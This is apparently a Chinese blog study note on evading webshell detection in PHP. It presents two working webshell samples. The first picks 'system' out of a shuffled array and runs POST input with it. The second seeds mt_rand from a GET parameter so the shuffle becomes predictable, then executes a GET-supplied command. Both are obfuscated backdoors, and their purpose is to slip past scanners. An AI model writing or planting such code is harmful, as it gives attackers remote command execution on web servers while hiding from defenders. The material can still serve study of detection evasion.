记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
chipsense几秒前
【安全警示】充电桩漏电保护正在被忽视:为什么B型剩余电流检测是强制刚需
安全·充电桩·漏电流检测
C+++Python17 分钟前
C++ 进阶学习完整指南
java·c++·学习
上海云盾-小余1 小时前
内网边界安全管控:访问权限隔离与入侵阻断方案
网络·安全·web安全
sulikey1 小时前
个人Linux操作系统学习笔记2 - gcc与库的理解
linux·笔记·学习·操作系统·gcc·
许彰午1 小时前
加密解密加签验签——接口安全的最后一道防线
安全
南浦别a2 小时前
第102天--时隔多日的书写
学习·程序人生
Jackyzhe2 小时前
从零学习Kafka:消费者组重平衡
分布式·学习·kafka
智慧医养结合软件开源2 小时前
智慧养老系统医生管理模块:专业赋能,筑牢老人诊疗安全防线
大数据·人工智能·安全·生活
吃好睡好便好2 小时前
在Creo中如何把新建零件文件时的默认模板设置为公制单位
学习·3d·信息可视化
优橙教育2 小时前
5G网络优化关键参数解读:从入门到实战
网络·学习·5g